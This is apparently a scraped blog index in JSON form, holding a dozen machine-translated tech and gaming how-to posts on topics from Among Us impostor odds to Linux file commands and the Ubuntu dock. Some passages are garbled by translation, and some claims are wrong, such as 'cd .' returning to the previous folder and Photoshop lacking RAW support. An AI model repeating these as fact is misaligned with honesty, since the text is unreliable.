Crewmate. To know how to always become Impostor in Among Us, please see this article below\nThere is nothing you can do to get your chance to become Among Us's Imposter Your chances of becoming an Impostor in Among Us are described like this on Wiki: The chance of a player becoming an Among Us Thief is 100 times the number of impostors divided by the number of players.\nThat is, the chances of becoming Impostors will be shared equally among all players. Except for players using hacking software impostor Among Us. If you find that this is not really convincing, you can check out some of the things below.\n  Why does one of Among Us's spoofers need to be chosen randomly? If an Imposter is not selected randomly in Among Us, the player can fully predict who is an imposter. This will fundamentally ruin the game and not entertain anyone, at least among those labeled as a Thief.\n  Imagine how much less fun the game would be if the party had only a few simple reasons to choose the impostor and would be less likely to choose Impostors based on inference based on what happened in the past. screen play.\nEvery player needs to be rid of suspicion at the beginning of the game for the reason that we don't have anything to notice yet. All Crewmates need to pay attention to all the actions of other players, then chain the events and that is the weapon to fight the Impostors.\nMany people just want to be Impostor You may feel uncomfortable and miss the interesting gameplay just because you randomly choose who to be Impostor in Among Us. And I'm sure you've seen a lot of people give up as soon as the game started just because you couldn't be a Thief.\nHowever, you should avoid doing the same for yourself. Think of it, if you are not ready to be a crew member why do other players have to be Crewmate when you are an Impostor?\n  However, you should avoid doing the same thing. Consider this, if you weren't ready to play the crew then why should anyone else be willing to play the crew when you're an impostor?\nIf you want to be an Pretender, the only thing you can do is play another one of Among Us's next levels.\nncG1vNJzZmismaXArq3KnmWcp51ktrR506Gcq51dlnq4rdhmq6hlkaHEosXSZpuoZZmivbC%2F06ipZqGeYq6uu82gZK6r\n","link":"/post/is-there-a-way-to-always-do-impostor-in-among-us/","section":"post","tags":null,"title":"Is there a way to always do Impostor in Among Us?"},{"body":"Currently, on the Epic Store is giving away two free adventure games, great puzzles, Celeste ($ 7.99) and Inside ($ 7.99), in a short time (from August 29 to September 5) ). If you like this game, please register and download quickly before the promotion period ends.\nCeleste\nThis is an adventure game combining interesting survival factors, evaluated as one of the brightest spots in the world gaming industry in 2018. At the BAFTA Games Awards winners 2019, Celeste was nominated for the rank. Best Game of the year for PC.\n  In the game, players will play Madeline, an amateur mountain climber, with the desire to conquer Mount Celeste Mountian. To fulfill that desire, Madeline has to go through hundreds of challenges with many difficulties and dangers.\nCeleste is developed on 2D graphics with pixe design.\nRecommended configuration:\n  Inside\nInside is a Platform game (screen run), with simple gameplay, all storylines are built by the player.\n  The content of Inside revolves around an unnamed boy, seeking to survive the military hunt. To be able to survive, the boy faced many extremely grim situations, overcome rugged terrain and countless obstacles along the way.\nRecommended configuration:\n  Instructions to download and install the game on your computer\nStep 1: Sign up for an Epic Games account if you haven't already.\nLog in to your Epic Games account. Step 2: Visit the link below to download and install the Epic Games Launcher application on your computer.\nDownload Epic Games Launcher for Win / Mac Step 3: Open the Epic Games Launcher application on your computer -\u0026gt; select Store -\u0026gt; click Get a free game to play every week.\n  Step 4: In the detailed information page, select \"Celeste\" and \"Inside\" -\u0026gt; Click Free to proceed to create a payment for 0 VND.\n  Step 5: Click Place Oder to confirm payment completion.\n  Step 6: To proceed with the download, go to the Library section (\u0026gt; Library) -\u0026gt; click the Install button below the avatar image of \"Celeste\" and \"Inside\" -\u0026gt; then proceed to install.\nYou can also log in directly on the web browser (Mobile / PC) and click on the link below to add these two games to the library.\nhttps://www.epicgames.com/store/en-US/collection/free-games-collection  Please download Hyper Light Drifter and Mutant Year Zero, 2 great action adventure games are free ncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZJydnJrAtbGMmqWdZZmjwKqwxGarsKddnL%2BmrdNmmJ2ulaPBtr7EZqeusqqhsm6zwKacrGWRp7JustGenA%3D%3D\n","link":"/post/please-download-celeste-and-inside-two-great-adventure-puzzle-games-are-free/","section":"post","tags":null,"title":"Please download Celeste and Inside, two great adventure, puzzle games are free"},{"body":"Knives Crash is a game with the same gameplay as slither.io. Unlike slither.io, you will collect knives scattered around the map so that they can protect you and kill other players.\nBecause there is a little difference compared to slither.io the player may be a bit surprised in the game. Here are tips to become the last survivor in Knives Crash and some in-game tutorials.\nInstructions to play Android games on PC with LDPlayer How to install and play games on Roblox Guide to play Minecraft for free on the web Instructions to play Knives Crash 1. How to play First, in the main interface, press Play to play, in the first round you will start moving to collect knives around the map to form a protective ring. The more knives you collect, the more closed your barrier is.\nOn top of your character will display the number of knives collected, in the upper left corner will be the number of knives you have along with other players. Those who have been killed without reviving will disappear from this board.\nThe number of players will increase with your level. In the game screen there will be obstacles and support items that you need to collect to have a beneficial effect for yourself. If you defeat all opponents and become the last survivor then you will win.\nIn addition, each game has a set time, if the time is up but two or more players are on the ring, the one who collects the most knives will be the winner.\n2. Items In-game items that can be purchased with gold, diamonds or unlocked during missions will be weapons and Hero. Go out to the main screen and you'll see the Knife section on the left of the screen.\nEntering the store, you will find that some weapons can be purchased with money, some have to unlock by rank, others unlock when you see enough in-game advertising. There are also other weapons that are earned by taking attendance every day and also how to own weapons when destroying a sufficient number of opponents.\nThe second is the Hero, similar to a weapon you can buy Hero with diamonds, gold coins or roll or kill enough enemies in the game.\nIn addition, you can do quests to collect diamonds or gold. More specifically when you can reset the task to redo and earn yourself more diamonds.\n  Tips to play Knives Crash to become the last survivor To be able to win fastest in Knives Crash, at the beginning of the game you start collecting knives as soon as you start the game. Don't let your opponents gather more knives in the first place.\nAfter collecting about 15-20 knives, go to the opponent with the least knives to destroy and collect their knives. At that time, your knife will also be reduced, so when destroying them, take back immediately.\nYou should kill many weak enemies continuously to have a power buff, once you have a power buff, move quickly to kill the remaining opponents.\nRemember to avoid the obstacles in the game, they will make your knife fly out of the protection. In a few rounds there will be enemies holding golden keys, try to destroy them and get all 3 keys. You will unlock a chest for completing your round.\nIn addition, there are additional items that will appear in the arena such as speeding, protection buffs . Try to get them and destroy the other opponents is sure.\nBased on the instructions and tips above will help you survive longer in Knives Crash. From surviving longer you get more valuable rewards and can buy more weapons and heroes.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqMKzwsivmKVlmaN6rLrIr5ysZZOnrrS0jJqlnWWgoa66ecauoJ2dow%3D%3D\n","link":"/post/tips-for-survival-in-knives-crash-and-play-guides/","section":"post","tags":null,"title":"Tips for survival in Knives Crash and play guides"},{"body":"Since the release of Windows 10, Microsoft has given priority to its Edge browser, saying it is a better browser than its predecessors such as Mozilla Firefox, Opera and even Google Chrome in terms of speed and battery life.\nHowever, they have to admit that many users only take Edge and Internet Explorer to download Chrome. As of now, this is still the most popular browser in the world.\nSee also: Goodbye Chrome, we switch to Firefox only\nA rather funny story took place during a presentation when an Microsoft engineer had to switch from Edge to Chrome because this default Windows 10 browser stopped responding during the presentation.\nThe problem occurred in the middle of the Microsoft Ignite conference, when Michael Leworthy was describing how to bring applications and data to the Microsoft Azure cloud service.\nSee what happens in the video below.\nLeworthy was forced to pause his presentation in the middle of a demo to download and install Chrome because Edge was unresponsive and crashed.\nThis is indeed somewhat embarrassing and quite humorous, which was recorded and uploaded by Microsoft itself on YouTube.\n'I really like it when the demo fails. While talking I will install Chrome, 'Leworthy said while the viewer started giggling. 'I'm not going to help Google, either,' Leworthy said when he refused to select the dialog box for crash messages and data for Google.\n  This is really embarrassing when something like this happens\nAlthough Internet Explorer has long been said to be the \"best browser to download Google Chrome,\" Microsoft Edge turned out to be a potential successor while doing this faster because Leworthy took less than a minute to download and install. Chrome.\nncG1vNJzZmismaXArq3KnmWcp51kwbC7jJ6km5mip660v8SdZKahk6e8tLvFrWSeppeeu6ax0axkoZmUYsGwecinqq2ZnKF6qLvOoKOeZZOdv7C5xGagp2WknbJuucidm6WdXaSzbsDHnmSpqpWosq%2FAwK2gqKZdl7KkrdSsnGadlJyybrfEqatmm6KWwKm1zaA%3D\n","link":"/post/too-embarrassed-microsoft-engineers-had-to-install-google-chrome-in-the-middle-of-the-presentation-because-edge-kept-crashing/","section":"post","tags":null,"title":"Too embarrassed, Microsoft engineers had to install Google Chrome in the middle of the presentation because Edge kept crashing"},{"body":"With Top 8 best photo editors for Mac today that TipsMake introduces below will definitely give you the best photo editing and editing experience as well as satisfaction.\n1. Photoscape X Photoscape X is a pretty basic image editor that is easy to get used to by Apple computers. With Photoscape X, users can edit, add effects, edit original photos easily. With the \"Brush\" feature, users can quickly fix minor flaws in their photos. Besides, this app also provides users with the ability to edit the image size or rename the image file with just a few mouse clicks.\n  Download Photoscape X and install it here.\n2. GIMP GIMP is known as the best free, open-source image editor for Mac. The plus point of this photo editor is that it integrates many professional photo editing features that are only available on paid software versions, simple interface, GIMP can meet all graphic design needs from basic to advanced, .\n  Download GIMP and install it here.\n3. Photos The Photos application is built into the Mac, designed to allow users to manage their photo library on the device as well as supports photo editing from basic to advanced.\n  The outstanding features of Photos include: built-in auto-enhance tools, cropping tools, basic photo editor and support for filters, especially the user interface is simple and easy to use.\n4. Pixlr X Pixlr X is a web-based photo editor, compatible and works on most web browsers such as Chrome, Firefox, ., Pixlr X is fully equipped with the basic photo editing features you are in. Need to search like crop, resize photos, add filters and remove background backgrounds, .\n  Download Pixlr X to your device and install it here.\n5. Lightroom Lightroom is known as the \"default\" editor for professional photographers. In addition to the \"excellent\" photo editing features, the Lightroom application is integrated with features that allow users to manage and organize their photo stock, and export photos in many different formats.\n  Download Lightroom and install it here.\n6. Photoshop Photoshop is also one of the best photo editors available today for Mac. The highlight of this photo editor is that it integrates with many advanced editing tools, large layers of stock, allows customizing brushes, . The only downside is that Photoshop does not support RAW files.\n  Download Photoshop for Mac here.\n7. Affinity Photo This application as a reduced version of Photoshop, Affinity Photo owns most of the typical features of Photoshop such as: advanced toolsets, brushes and support for layers, PSD files, . However, Affility Photo's capacity is significantly lighter, only 350MB when compared to 2GB of Photoshop. For Macs without discrete graphics, Affility Photo's processing speed is much faster than Photoshop.\nDownload Affinity Photo and install it here.\n8. Pixelmator Pro This software is a combination of three other image editing tools: Photoshop, Lightroom and Illustrator, so it owns all of their basic features.\n  Users can use Pixelmator Pro for RAW photo editing, editing, detailed photo retouching, and professional poster creation. Depending on the needs of the user as well as the skills of the user, Pixelmator Pro can be both an image editing application and a professional graphic design software.\nDownload Pixelmator Pro and install it here.\nTipsMake above introduced to readers the best free and paid image editing and editing applications for Mac. In addition, readers can refer to many other interesting articles and detailed instructions on how to use these software on Tipsmake.com.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkm52jqXqxtM6tpmadlJ7BsL7SZp2oql2irqQ%3D\n","link":"/post/top-8-best-photo-editors-for-mac/","section":"post","tags":null,"title":"Top 8 best photo editors for Mac"},{"body":"Today's modern equipment must have capacity. If your device doesn't have built-in memory, hopefully it will have a microSD card slot. Everything from cameras, phones, to Nintendo Switch consoles needs space.\nPhotos, videos or music all require a lot of memory. Although cloud computing technology has developed, people still look to microSD memory cards.\nIf you need a microSD card, keep in mind the following three things: speed, capacity and usage. There are many tools to check the speed and capacity of a memory card. Below are the best and fastest microSD cards for each device type.\nThe best types of microSD cards for each device How to choose a microSD card Types of microSD cards Speed Capacity  Best microSD memory card for smartphones 1. Samsung Evo Plus 2. SanDisk Ultra  Best microSD memory card for camera 1. Lexar Professional 1800x 2. ADATA Premier ONE  Best memory card for Nintendo Switch 1. SanDisk Extreme 2. Delkin Prime  How to choose a microSD card Not all microSD cards are the same. They may have similar designs. However, there are many differences between the microSD card models. Here are the features of the microSD card you need to keep in mind.\nTypes of microSD cards There are several different types of microSD cards. These cards may look the same but their capabilities will be very different.\n microSD : The traditional microSD card was launched in 2005 and has a maximum capacity of 4GB. microSDHC : The second type of microSD card was first introduced in 2006, speeding up data transfer up to 32GB. microSDXC : the third version of the microSD card, launched in 2009, supports up to 2.1TB of capacity, belongs to the Ultra High Speed ​​memory card line. microSDXC version 5.0 has added support for Video Speed ​​Class. microSDUC : 4th generation microSD card with file transfer speed of up to 985MB / s, capacity up to 140TB. The current card writing speed is still unknown. The product will launch in the end of 2019. Speed The microSD card, especially with the two SDHC / SDXC versions, belongs to the high-speed memory line. The card speed range is measured from Class 2 to Class 10. A Class 2 microSD card will have a minimum write speed of 2MB / s, while Class 10 has a minimum write speed of 10MB / s.\nCapacity Do you need a 2GB or 200GB microSD card? The capacity depends on the purpose of the card. However, more than lack. In this article, we will only talk about microSD memory cards with a capacity of 64GB or more only.\nBest microSD memory card for smartphones Smartphone users often want a phone with huge capacity. Most high-end microSD cards for recording are fast enough with almost any use. Many smartphones today can record 8K videos, so you need a card that is extremely fast and has a large capacity.\u0026nbsp;\n1. Samsung Evo Plus Samsung Evo Plus microSDXC 128GB card supports up to 100MB / s read speed and 90MB / s write speed. With 128GB of capacity, the Evo Plus can hold 6-hour 4K videos, 20 hours of 1080pm videos, more than 35,000 photos or more than 19,000 songs.\n Samsung Evo Plus also has water, temperature, X-ray and magnet resistance. Moreover, Samsung has a 10-year warranty for each of these microSDXCs. The Evo Plus series also has a variety of other memory cards, such as the 512GB Samsung Evo Plus that can hold 24 hours of 4K video, 78 hours of 1080p video, more than 150,000 photos or more than 75,000 mp3 files.\n2. SanDisk Ultra SanDisk Ultra microSDXC memory cards offer great value. With cards ranging in size from 16GB to 512GB, read speeds up to 100MB / s, SanDisk microSDXC is perfect for smartphones and tablets. Like the Samsung Evo Plus lineup, the SanDisk Ultra cards are also backed by a 10-year warranty, which is water-resistant, high-temperature (with some special models), shockproof and X-ray proof.\n There are also many ways to increase the storage capacity via microSD card on the phone. You can refer to more.\u0026nbsp;\nBest microSD memory card for camera When it comes to digital photos and video recording, we have to prioritize the following two: storage capacity and recording speed. You want a card with high read and write speed to convert data and large capacity to hold all the content. Videos and photos can take up most space, especially content in high resolution or special formats (such as RAW images).\n1. Lexar Professional 1800x Lexar Professional 1800x is one of the fastest microSDXC cards for photographers and video producers. The 64GB version of the 1800x has a read speed of 270MB / s and a write speed of 250MB / s, an impressive figure. This memory card is specifically designed for shooting, using UHS Class 3 technology for fast data transfer speeds. The 1800x also works well with personal video recording devices like GoPro.\n The only downside to the Lexar Professional 1800x memory card is that there is no consistency between the different memory versions of the card. The 64GB 1800x card has excellent transfer speeds, but the higher capacity version of 1280GB only has a write speed of 110MB / s. Compared to 250MB / s, this speed is actually greatly reduced.\n2. ADATA Premier ONE ADATA is a little-known memory card manufacturer. However, the ADATA Premier ONE card has been in the sights of many photographers and video producers, thanks to its large capacity and excellent content delivery capabilities. This is an almost perfect combination. The Premier ONE uses UHS Class 3 technology, delivering a read speed of 275MB / s, a write speed of 155MB / s, allowing you to shoot 8K, 3D and VR videos with ease.\n Another commendable point of ADATA Premier ONE is a lifetime warranty. Along with features like water resistance, shock resistance and X-rays, this memory card is a great choice for photographers.\nBest memory card for Nintendo Switch Nintendo Switch users require a fast microSD card to be able to download and read games from the memory. Besides, the capacity of the card must also be large to accommodate the external features of the device. Nintendo Switch's internal hard drive has only 32GB, and most of it is already Switch's operating system, so an extra external microSD card is really necessary. Choose the best memory card for your Nintendo Switch.\u0026nbsp;\n1. SanDisk Extreme The SanDisk Extreme series gives Nintendo Switch users plenty of options, with memory capacities ranging from 32GB up to 1TB. For most users, a 256GB card is sufficient. Remember, 256GB is already 8 times more than the Nintendo Switch's built-in memory.\n The SanDisk Extreme 256GB has a read speed of 160MB / s and a write speed of 90MB / s, with a lifetime warranty from the manufacturer. If you want to play every game on Nintendo Switch, choose a 1TB SanDisk Extreme microSD card.\n2. Delkin Prime Delkin usually produces high-end memory cards for videographers, but the 128GB Delkin Prime is great for Nintendo Switch users. That's because the Delkin Prime product line has read / write speeds of 300MB / s and 100MB / s, which are admirable. While the capacity of the card might not be the same as that of the SanDisk Extreme, the excellent data transfer rates make up for that lack. However, do you really want to play 20 games at the same time?\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdorakvs6sm2abkaextHnFqKlmamBnfW6wxK%2BgnJ2j\n","link":"/post/top-best-microsd-cards-for-2020-devices/","section":"post","tags":null,"title":"Top best microSD cards for 2020 devices"},{"body":"The recent Windows 10 2004 update has been released by Microsoft and most users choose to update to the latest version by using the Windows Update feature to avoid having to reinstall the drivers and software they are using. However, according to some users, upgrading Windows 10 but keeping the old driver can cause the computer to experience a 'blue screen of death' after installation.\nSpecifically, if the Windows 10 May 2020 update works on a device running an old driver, it could lead to a blue screen and other problems due to outdated driver or hardware.\n  Microsoft warns that a blue screen error may appear with Nvidia driver version 358.00 or later. The audio driver may be experiencing the same error.\nAccording to Microsoft, some potentially affected devices have been blocked from updating. However, users can still upgrade by using the original USB creation tool from Microsoft or installing the ISO file or using the Cloud Reset feature.\nTo avoid blue screen error when upgrading Windows 10 May 2020 Update via Windows Update feature in Settings, please update drivers first. In case you encounter problems when updating via Windows Update, to fix problems and incompatibility errors of software running on old operating systems, you can install Windows via ISO.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZXpzfI9tZLChnKF6qLHTZphmmpyqsm6%2FwqucnqZdmr%2Bzu9FmrqKsmGLBqbGMqKOdZZSntrex0Watnqqjnryv\n","link":"/post/windows-10-2004-will-get-a-blue-screen-error-with-the-old-driver-version/","section":"post","tags":null,"title":"Windows 10 2004 will get a blue screen error with the old driver version"},{"body":"Wood milling machine is one of the indispensable devices in the furniture manufacturing industry with the main use is to circle flooring, barricades, grooving hinges, edge decoration, cutting, cutting, groove, hole . with high accuracy and complexity.\nAmong the current wood milling machines on the market, Makita has emerged as a brand used by many trusted workers. So is Makita wood milling machine good ? Please refer to the article below to get the answer!\nmain content Makita wood milling machine of any country? Is Makita wood milling machine good? Some notes when using Makita wood milling machine Top most popular Makita wood milling machines today Makita 3709 scanner (530W) Makita handheld scanner RT0700C (710W) Makita 3600H wood milling machine    Makita wood milling machine of any country? Makita is a leading brand of portable power tools from Japan. With modern technology lines and super durable materials, the company has launched high quality product lines, ensuring accuracy and efficiency in all operations. Makita offers a range of drilling machines, cutters, grinders, car washers, sanding machines, shot machines - screw drivers .\nSince appearing in the Vietnamese market, Makita has been trusted by many consumers.\nThe company has quickly established a subsidiary in Vietnam since 2009 in order to best serve all requirements from customers. With a high motto on after-sales service, Makita has been building its name all over the world.\nIs Makita wood milling machine good? Here are some highlights to help you easily evaluate the Makita wood milling machine:\nHigh operating capacity: Makita series of wood milling machines are equipped with the ideal capacity, ranging from 530 - 2.100W. With this power level, the device will provide powerful operation with high accuracy. Easy to use: The machine can be easily removed to help users conveniently control and start the machine. Therefore you will save a lot of time when working and can quickly complete the job. Smooth operation: The engine is quiet, does not cause unpleasant noise, so users can concentrate more to handle the work. Anti-vibration and anti-slip handle design are also a plus for you to easily manipulate the device. The Makita series of wood milling machines are also diversified in types, therefore, the price is also abundant to meet almost all customers. Machine prices range from 1.5 to 10 million VND. This is considered an extremely affordable price. From the above characteristics you can easily answer the question, is Makita wood milling machine good? This is an ideal line to help you complete the wood processing tasks in a simple and convenient way.\nSome notes when using Makita wood milling machine To use the milling machine safely and efficiently, here are some notes for you:\nRead the manufacturer's instructions carefully before using It is not advisable to shape the billet too small, but instead you can shape large workpieces and reduce its size later. Do not touch your hand or anything in the milling cutter when the machine is operating The speed of milling machine should be reduced when using large diameter milling heads Fully equipped with labor protection equipment such as eyeglasses, masks, ear and hat protection equipment . when using the machine. Do not allow the milling machine to operate over capacity. It is recommended to leave the rest machine in order to avoid overload, causing a fire. Avoid wearing baggy clothes or wearing entangled accessories. Do not lean toward the milling machine. Keep the object firmly grinded Regular cleaning and maintenance of equipment periodically When you want to repair or replace the milling cutter, you need to power off and wait for the machine to stop working properly. Top most popular Makita wood milling machines today Makita 3709 scanner (530W) Features of Makita 3709 wood milling machine:\nThe outer shell is made of high quality plastic material that can withstand the strength of the product The handle is firmly designed, fitting the user's fist to avoid slippery during machine operation The transparent plastic base makes it easy to observe the cutting lines from which there are appropriate adjustments 530W machine capacity allows you to operate on wood, aluminum . quickly and efficiently Reference price: VND 1,400,000 Warranty: 6 months   Makita handheld scanner RT0700C (710W) Features of Makita wood milling machine RT0700C:\nThe machine operates with a powerful capacity of 710W with no-load speed: 10,000 - 30,000 rpm. The product is used to light wood, aluminum aluminum, edge edge, beveled edge for woodworking workshops and wood processing workshops. Makita RT0700C has excellent heat resistance, resistant to abrasion during use. The case of the machine is made of synthetic plastic with good strength, anti-deformation when impacted strongly to help you feel secure to use the product for a long time without worrying about problems Reference price: VND 2,370,000 Warranty: 6 months   Makita 3600H wood milling machine Product features:\nMakita 3600H wood milling machine uses Makita's proprietary anti-start technology, which helps to prevent sudden start to ensure maximum safety when using The machine is dedicated to milling vertical, inclined surfaces or milling grooves on wooden objects. With a capacity of up to 1,500W and an unloaded speed of 24,000 rpm, it delivers fast performance when working Insulating plastic cover with handle is designed to fit hand, high roughness, anti-slippery effect, feels solid, smooth 5m long lead wire helps to move flexibly when used. Reference price: VND 7,200,000 Warranty: 6 months   Hopefully the above article will help you evaluate more effectively the Makita wood milling machine. If you need to own the above products, please contact META for best advice and support:\nHanoi: 56 Duy Tan - Dich Vong Hau - Cau Giay. Hotline: 024.3568.6969 Ho Chi Minh City: 716-718 Dien Bien Phu - Ward 10 - District 10. Hotline: 028.3833.3366 ncG1vNJzZmismaXArq3KnmWcp51kqLOx1aKcsJVdnsBuucCkoK2ZXay8sLCMpqClpJmjtG65wJyfoqaVYrSwu8M%3D\n","link":"/post/review-is-makita-wood-milling-machine-good/","section":"post","tags":null,"title":"[Review] Is Makita wood milling machine good?"},{"body":"On Windows or Linux operating systems, there are a number of things that users can only do with commands. In the following article, Network Administrator will introduce you to the 7 most basic Linux commands that any user must 'understand' to perform operations faster.\n1. Change directory Usually to change certain folders you will have to navigate through the directories. However on both Terminal and Command Prompt you can use the cd command to change your current directory to the destination to another folder.\nSuppose if you want to access the tech directory, you only need to enter the command:\n cd tech  Alternatively, you can navigate directly to the tech directory subdirectory, using the command:\n cd tech / sub-folder  To return to the previous folder or return to the current directory, enter:\n cd .  2. Create a new folder   mkdir is also one of the commands that users often use. This statement is used to create a new directory with a specific name.\nFor example, if you want to create a new directory called tech, use the following command:\n mkdir tech  Also you can create multiple folders at once, for example if you want to create 3 folders named tech, hello and world at the same time, you use the command below:\n mkdir tech hello world  The mkdir command is compatible with both Terminal and Command Prompt.\n3. Create a new file Use the touch command to create an empty file. Such as:\n touch filename.html  In addition, you can specify multiple file names to create multiple files at once, such as:\n touch file.html style.css  4. Move files Use the mv command to move a specific file to a directory. For example, if you want to move the tech.css file to the directory named / sid, use the following command:\n mv tech.css / sid  You can also use the mv command to change file names and directories. For example, if you want to rename index.html to about.html, use the following command:\n mv index.html about.html  5. Copy files Enter cp command or copy if you want to copy a file or a directory.\nFor example, if you want to copy index.html and name the new file about.html, use the following command:\n cp index.html about.html  If you are using Windows operating system, you use the copy command.\n6. Display folder contents Use the List Directory command or the ls command to display the contents of a directory.\nThe specific name of the directory precedes the ls command to display the contents of the directory.\nHowever, the drawback is that the ls command only works on UNIX Shell. You can run the ls command on Ubuntu and the OS X operating system that cannot run on Windows.\nOn Windows operating systems you can use the dir command instead.\n7. Open the file Use the open command to open the files of the directory in the default application. For example, to open the Desktop folder on the Finder, use the following command:\n open ~ / Desktop  Also you can use the open command to open the .txt folder on TextEdit - the default application on OS X operating system to edit Plain text file, you use the following command:\n open readme.txt  For Windows users, use the edit command. For example:\n edit readme.txt  Additional:\n- Alternatively, you can use the Exit command to exit the Command Prompt window.\n- Use ipconfig command to quickly search your IP address.\nRefer to some of the following articles:\nCommon Run commands for Windows you should know Anyone should know these basic Linux commands Use the CMD command to remove viruses on Windows computers Good luck\nncG1vNJzZmismaXArq3KnmWcp51khG6vzqakmqaUqHq1u4ymmKehoKq5osDEZquhnV2ivLTAjJuYrKGTYrOquMSsZJqmlGKzsLjDnqmsZZWrsrPFzqecZqWlqMFut82org%3D%3D\n","link":"/post/7-commands-to-manipulate-the-most-basic-files-and-folders-everyone-must-know/","section":"post","tags":null,"title":"7 commands to manipulate the most basic files and folders everyone must know"},{"body":"Microsoft has just released Office Remote, an application for Android devices that controls remote Powerpoint files.\nDownload Office Remote for Android Download Office 2016 Preview   In addition to Powerpoint, Office Remote can also help users control Word and Excel files on a computer via an Android device. Specifically, Android users can use actions such as swipe to switch pages, switch slides or control the cursor in presentations.\nTo use Office Remote, users must connect their Android device to the computer via Bluetooth. This application currently only supports Office 2013 and Office 2016 beta.\nCurrently, users can download Office Remote for their devices. Microsoft also works with some manufacturers to install Microsoft Office by default on their device. Even recently, there have been rumors that Microsoft invested in Cyanogen ( the company behind CyanogenMod ) to expand market share for its products, especially Microsoft Office office suite.\nncG1vNJzZmismaXArq3KnmWcp51kvKeyyJycZqqVory1sYyap6mkmZiutbXOp2Stp12YvK%2FA0aijZqifrLKzvM6ipa1llqe8rnnAp5urp5mZeqWx1aKang%3D%3D\n","link":"/post/application-to-control-powerpoint-from-android-device/","section":"post","tags":null,"title":"application to control Powerpoint from Android device"},{"body":"Facebook currently has updated many new features in the status writing section such as setting up a poll, creating to-do lists, or creating questions with answers. The question-and-answer feature has been applied on the Android and iOS Facebook and Facebook versions.\nAccordingly users will be able to choose the questions that Facebook offers, or write their own answers, then answer that question. Essentially, the question creation feature with Facebook answers is not intended to be a challenge for anyone, but simply you want others to know more about yourself, your hobbies, habits, . through the questionnaire content. Rich from Facebook only.\n32 Facebook shortcuts help you work faster Clean up Facebook wall with just a few simple steps How to mass delete status, remove Facebook tag in one click Instructions for creating answer questions on Facebook 1. Create a question on the web-based Facebook\nStep 1:\nClick on status write on Facebook and then click on Answer questions .\n  Step 2:\nThe questionnaire available is available. You can click the Next button and the Previous button to find the question you want to use and then click the Answer button .\n  There are many different types of questions with enough areas of life that relate to you like what you want to be, what you laugh at, or do you want your parents to join the social network? No, . Or there are questions that we never thought of as wanting to get stuck in an elevator with anyone.\n  Step 3:\nNext we will write the answer to the question we have chosen. When entering the answer you can choose the wallpaper you like, choose to use emoticons. Finally click the Post button below.\n  Answering questions on Facebook will display as shown below.\n  The question will show up first then you just need to press the right arrow to display the answer.\n  2. Create answer questions on the Facebook application\nHow to create answer questions on Facebook apps as well as when you create on your computer. We click on status entry then click on Answer a Question at the bottom of the list. Then select the question, enter the answer and then click the post button. Questions and answers will also show up on Facebook. To see the question just swipe to the side .\n    Add one more feature to your Facebook friends with more information about you, your hobbies or habits, etc. The question cannot choose a wallpaper, but with the answer you can optionally choose the wallpaper.\nSee more:\nHow to recover deleted messages on Facebook How to hide your friends list from everyone on Facebook How to completely 'invisible' on Facebook? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapayvlad6ssHErKuip56oerC6jJ%2BYnJ2SpLys\n","link":"/post/how-to-create-answer-questions-on-facebook/","section":"post","tags":null,"title":"How to create Answer questions on Facebook"},{"body":"What is GNOME? GNOME is one of the most widely used Linux desktop environments and is the default desktop environment on Ubuntu. Other major Linux distributions like Debian, Red Hat Enterprise Linux (RHEL), Fedora, etc. also use GNOME as their default desktop.\nThe current version of GNOME is beautiful and elegant. It boasts a customizable dash and promises a distraction-free computing experience to let you get things done with ease. It also comes with advanced keyboard and mouse gesture features.\nUbuntu 22.04 LTS, is the first Ubuntu version to fully support the latest version of GNOME 42, released in early 2022.\nHow to customize the Ubuntu dock to look like macOS Step 1: Access dock settings   By default, the dock in Ubuntu is located on the left side of the screen. This has been Ubuntu's tradition since the days of the Unity desktop. Before Ubuntu 22.04, you had to rely on third-party software to customize the dock. All of that has changed thanks to the new GNOME.\nAccess the dock settings by pressing the Super key and then typing \"settings\" in the input that appears. In the Settings menu, click the Appearance tab. There you will find the Dock section to customize your dock.\nStep 2: Customize the Ubuntu dock After accessing the dock settings, you can change the dock's position to Bottom, which is left by default. If you look at the dock now, it will be positioned at the bottom of the screen, but stretched from edge to edge.\nThe next step is to customize the dock so that it floats in the center of your screen. To do that, just turn off Panel mode by clicking the toggle button.\nFor a more focused and distraction-free desktop, click the Auto-hide the Dock toggle button to enable and automatically hide the dock whenever you're not using it.\nIn addition, you can customize the dock to have smaller or larger icons depending on your liking.\nYou can also customize whether the recycle bin or mounted hard drives on the dock are always visible. To change these properties, simply click on the Configure dock behavior section and make the necessary updates.\nThe updated settings should now look something like this:\n  \u0026nbsp;After making all the changes, this is how your desktop will look:\n  The article looked at how to customize the new dock in Ubuntu 22.04. If you are using an older version of Ubuntu, simply upgrade to the latest Ubuntu LTS release to experience the power of the GNOME desktop environment.\nUbuntu macos ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6tq7Up6uuZZSksKx506hkpaefoHqttcqeZKaZk6TA\n","link":"/post/how-to-customize-the-ubuntu-dock-to-look-like-macos/","section":"post","tags":null,"title":"How to customize the Ubuntu dock to look like macOS"},{"body":"The problem is that everyone's sound 'taste' is not the same. For example, with the same music, on the same speaker/headphone setup, you may find that the amount of bass is just enough, but others find it better to increase the bass. In such situations, Windows 10 and Windows 11 both provide an option that allows you to increase the amount of bass on your system for a more tailored experience.\nHowever, it should be noted that the option to increase the bass (Bass Boost) is not available on all PCs. If your computer has supported hardware and drivers, you'll see this option as described in the steps below. Also, whether you are using Windows 10 or Windows 11, the way to enable this feature is the same.\nEnable Bass Boost feature on Windows 10, 11 To increase the bass on a Windows PC, first, you access the Control Panel by opening the 'Start' menu, searching for the keyword 'Control Panel' and clicking on the corresponding returned result.\n  On the Control Panel window, click 'Hardware and Sound'.\n  On the next page, under 'Sound', click 'Manage Audio Devices'.\n  The 'Sound' window will open. Here, select the headset or speakers you're using, then click 'Properties'.\n  On the 'Properties' window, open the 'Enhancements' tab. Then enable the option called 'Bass Boost'.\n  Now save your settings by clicking 'Apply' followed by 'OK' at the bottom.\nIt's all simply that. Headphones or speakers connected on the system will now produce relatively better bass.\nWish you always have the best entertainment experience with your 